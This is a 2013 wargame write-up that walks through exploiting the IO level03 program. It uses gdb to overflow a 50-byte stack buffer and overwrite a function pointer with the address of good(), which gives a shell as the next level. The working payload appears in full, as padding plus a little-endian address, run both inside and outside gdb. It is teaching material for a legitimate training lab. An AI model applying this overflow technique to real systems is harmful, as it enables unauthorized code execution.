As usual, we will login to user level3
with the password obtained from the previous level.
For this level, we are also given both the source level03.c
and the binary level03
. Let’s take a look at the source code first.
//bla, based on work by beach
#include <stdio.h>
#include <string.h>
void good()
{
puts("Win.");
execl("/bin/sh", "sh", NULL);
}
void bad()
{
printf("I'm so sorry, you're at %p and you want to be at %p\n", bad, good);
}
int main(int argc, char **argv, char **envp)
{
void (*functionpointer)(void) = bad;
char buffer[50];
if(argc != 2 || strlen(argv[1]) < 4)
return 0;
memcpy(buffer, argv[1], strlen(argv[1]));
memset(buffer, 0, strlen(argv[1]) - 4);
printf("This is exciting we're going to %p\n", functionpointer);
functionpointer();
return 0;
}
We can see that we want to execute the good
function. By executing the bad
function, we can see the memory location of our current position as well as the memory location of where we should be, the good
function.
Taking a look at the main
function, we can see that the program starts out by assigning a function pointer, functionpointer
to the bad
location. Followed by initialising a 50 byte character array named buffer
. After these two local variables have been declared, it checks that there are two arguments and the second argument’s length should be greater than or equals to 4. Remember that the program name considers as the first argument, therefore we have to supply only one other argument.
The program then calls the memcpy
function. This function copies length(argument)
bytes from our argument into buffer
. Following that, it calls the memset
function. This function will set the first length(argument) - 4
bytes of buffer to 0. The program then prints out the value of functionpointer
and calls the function at that address.
From what we know, it looks like a stack-based buffer overflow attack. Here is an obligatory link. Go read it and understand what you’re dealing with. This can wait.
Alright, welcome back. We shall now look at how to develop an exploit for this particular program
level3@io:/levels$ gdb -q level03
Reading symbols from /levels/level03...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x080484c8 <+0>: push %ebp
0x080484c9 <+1>: mov %esp,%ebp
0x080484cb <+3>: sub $0x78,%esp
0x080484ce <+6>: and $0xfffffff0,%esp
0x080484d1 <+9>: mov $0x0,%eax
0x080484d6 <+14>: sub %eax,%esp
0x080484d8 <+16>: movl $0x80484a4,-0xc(%ebp)
0x080484df <+23>: cmpl $0x2,0x8(%ebp)
0x080484e3 <+27>: jne 0x80484fc <main+52>
0x080484e5 <+29>: mov 0xc(%ebp),%eax
0x080484e8 <+32>: add $0x4,%eax
0x080484eb <+35>: mov (%eax),%eax
0x080484ed <+37>: mov %eax,(%esp)
0x080484f0 <+40>: call 0x804839c <strlen@plt>
0x080484f5 <+45>: cmp $0x3,%eax
0x080484f8 <+48>: jbe 0x80484fc <main+52>
0x080484fa <+50>: jmp 0x8048505 <main+61>
0x080484fc <+52>: movl $0x0,-0x5c(%ebp)
0x08048503 <+59>: jmp 0x8048579 <main+177>
0x08048505 <+61>: mov 0xc(%ebp),%eax
0x08048508 <+64>: add $0x4,%eax
0x0804850b <+67>: mov (%eax),%eax
0x0804850d <+69>: mov %eax,(%esp)
0x08048510 <+72>: call 0x804839c <strlen@plt>
0x08048515 <+77>: mov %eax,0x8(%esp)
0x08048519 <+81>: mov 0xc(%ebp),%eax
0x0804851c <+84>: add $0x4,%eax
0x0804851f <+87>: mov (%eax),%eax
0x08048521 <+89>: mov %eax,0x4(%esp)
0x08048525 <+93>: lea -0x58(%ebp),%eax
0x08048528 <+96>: mov %eax,(%esp)
0x0804852b <+99>: call 0x804838c <memcpy@plt>
0x08048530 <+104>: mov 0xc(%ebp),%eax
0x08048533 <+107>: add $0x4,%eax
0x08048536 <+110>: mov (%eax),%eax
0x08048538 <+112>: mov %eax,(%esp)
0x0804853b <+115>: call 0x804839c <strlen@plt>
0x08048540 <+120>: sub $0x4,%eax
0x08048543 <+123>: mov %eax,0x8(%esp)
0x08048547 <+127>: movl $0x0,0x4(%esp)
0x0804854f <+135>: lea -0x58(%ebp),%eax
0x08048552 <+138>: mov %eax,(%esp)
0x08048555 <+141>: call 0x804835c <memset@plt>
0x0804855a <+146>: mov -0xc(%ebp),%eax
0x0804855d <+149>: mov %eax,0x4(%esp)
0x08048561 <+153>: movl $0x80486c0,(%esp)
0x08048568 <+160>: call 0x80483ac <printf@plt>
0x0804856d <+165>: mov -0xc(%ebp),%eax
0x08048570 <+168>: call *%eax
0x08048572 <+170>: movl $0x0,-0x5c(%ebp)
0x08048579 <+177>: mov -0x5c(%ebp),%eax
0x0804857c <+180>: leave
0x0804857d <+181>: ret
End of assembler dump.
(gdb) break *0x08048530
Breakpoint 1 at 0x8048530
(gdb) run AAAAAA
Starting program: /levels/level03 AAAAAA
Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc60: 0xbffffc80 0xbffffe94 0x00000006 0x00000001
0xbffffc70: 0xb7fff908 0xb7e878d0 0xbffffd84 0xbffffe84
0xbffffc80: 0x41414141 0xb7eb4141 0x0000002f 0xb7fd1ff4
0xbffffc90: 0x00000000 0x080497c8 0xbffffca8 0x08048338
0xbffffca0: 0xb7ff0590 0x080497c8 0xbffffcd8 0x080485a9
0xbffffcb0: 0xb7fd2304 0xb7fd1ff4 0x08048590 0xbffffcd8
0xbffffcc0: 0xb7eb7505 0xb7ff0590 0x0804859b 0x080484a4
0xbffffcd0: 0x08048590 0x00000000 0xbffffd58 0xb7e9ee16
(gdb) next
This is exciting we're going to 0x80484a4
I'm so sorry, you're at 0x80484a4 and you want to be at 0x8048474
Notice at address 0xbffffc80
, we can see our A’s printed in hex. Also at address 0xbffffcc0
we can see the address 0x080484a4
which the program claims that we are currently at. Let’s try to increase the number of A’s and see the effect. Let’s use ruby to print 100 A’s and see what happens.
(gdb) run $(ruby -e 'puts "A"*100')
Starting program: /levels/level03 $(ruby -e 'puts "A"*100')
Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc00: 0xbffffc20 0xbffffe36 0x00000064 0x00000001
0xbffffc10: 0xb7fff908 0xb7e878d0 0xbffffd24 0xbffffe26
0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc70: 0x41414141 0x41414141 0x41414141 0x41414141
The buffer is being flooded. Let’s print 70 A’s this time.
(gdb) run $(ruby -e 'puts "A"*70')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level03 $(ruby -e 'puts "A"*70')
Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc20: 0xbffffc40 0xbffffe54 0x00000046 0x00000001
0xbffffc30: 0xb7fff908 0xb7e878d0 0xbffffd44 0xbffffe44
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc80: 0x41414141 0xb7ff4141 0x0804859b 0x080484a4
0xbffffc90: 0x08048590 0x00000000 0xbffffd18 0xb7e9ee16
Hmm. Looks like it’s not enough. Notice that we can actually count the number of A’s needed to overwrite our target address. Each 0x41414141
address holds 4 A characters, one byte each and we need to reach 80 bytes up the stack to fully overwrite the address 0x080484a4
. Let’s try 80 A’s
(gdb) run $(ruby -e 'puts "A"*80')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level03 $(ruby -e 'puts "A"*80')
Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc10: 0xbffffc30 0xbffffe4a 0x00000050 0x00000001
0xbffffc20: 0xb7fff908 0xb7e878d0 0xbffffd34 0xbffffe3a
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc80: 0x08048590 0x00000000 0xbffffd08 0xb7e9ee16
(gdb) next
Single stepping until exit from function main,
which has no line number information.
This is exciting we're going to 0x41414141
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
We got it. We have successfully written over the value 0x80484a4
with exactly 0x41414141
. There’s a segmentation fault because there is an access violation when we tried to access the memory at 0x41414141
.
To replace it with our required address, 0x8048474
, we need to convert our address into little endian, \x74\x84\x04\x08
. We can now take away 4 A’s to make room for this new address. Let’s try it out.
(gdb) run $(ruby -e 'puts "A"*76 + "\x74\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level03 $(ruby -e 'puts "A"*76 + "\x74\x84\x04\x08"')
Breakpoint 1, 0x08048530 in main ()
(gdb) x/32xw $esp
0xbffffc10: 0xbffffc30 0xbffffe4a 0x00000050 0x00000001
0xbffffc20: 0xb7fff908 0xb7e878d0 0xbffffd34 0xbffffe3a
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc70: 0x41414141 0x41414141 0x41414141 0x08048474
0xbffffc80: 0x08048590 0x00000000 0xbffffd08 0xb7e9ee16
(gdb) next
Single stepping until exit from function main,
which has no line number information.
This is exciting we're going to 0x8048474
Win.
process 19471 is executing new program: /bin/bash
sh-4.2$ whoami
level4
sh-4.2$
We padded the buffer with 76 bytes of garbage and overwritten the memory address which was holding the value of functionpointer
and thus calling the good
function giving us the shell required to access the password for the next level.
For completeness, we shall craft the exploit to run outside of gdb
. Let’s reuse what we’ve got.
level3@io:/levels$ ./level03 $(ruby -e 'puts "A"*76 + "\x74\x84\x04\x08"')
This is exciting we're going to 0x8048474
Win.
sh-4.2$ whoami
level4
sh-4.2$
Once again, you’ll find the password to the next level at the usual place.
Published on 22 Mar 2013 by Stanley Tan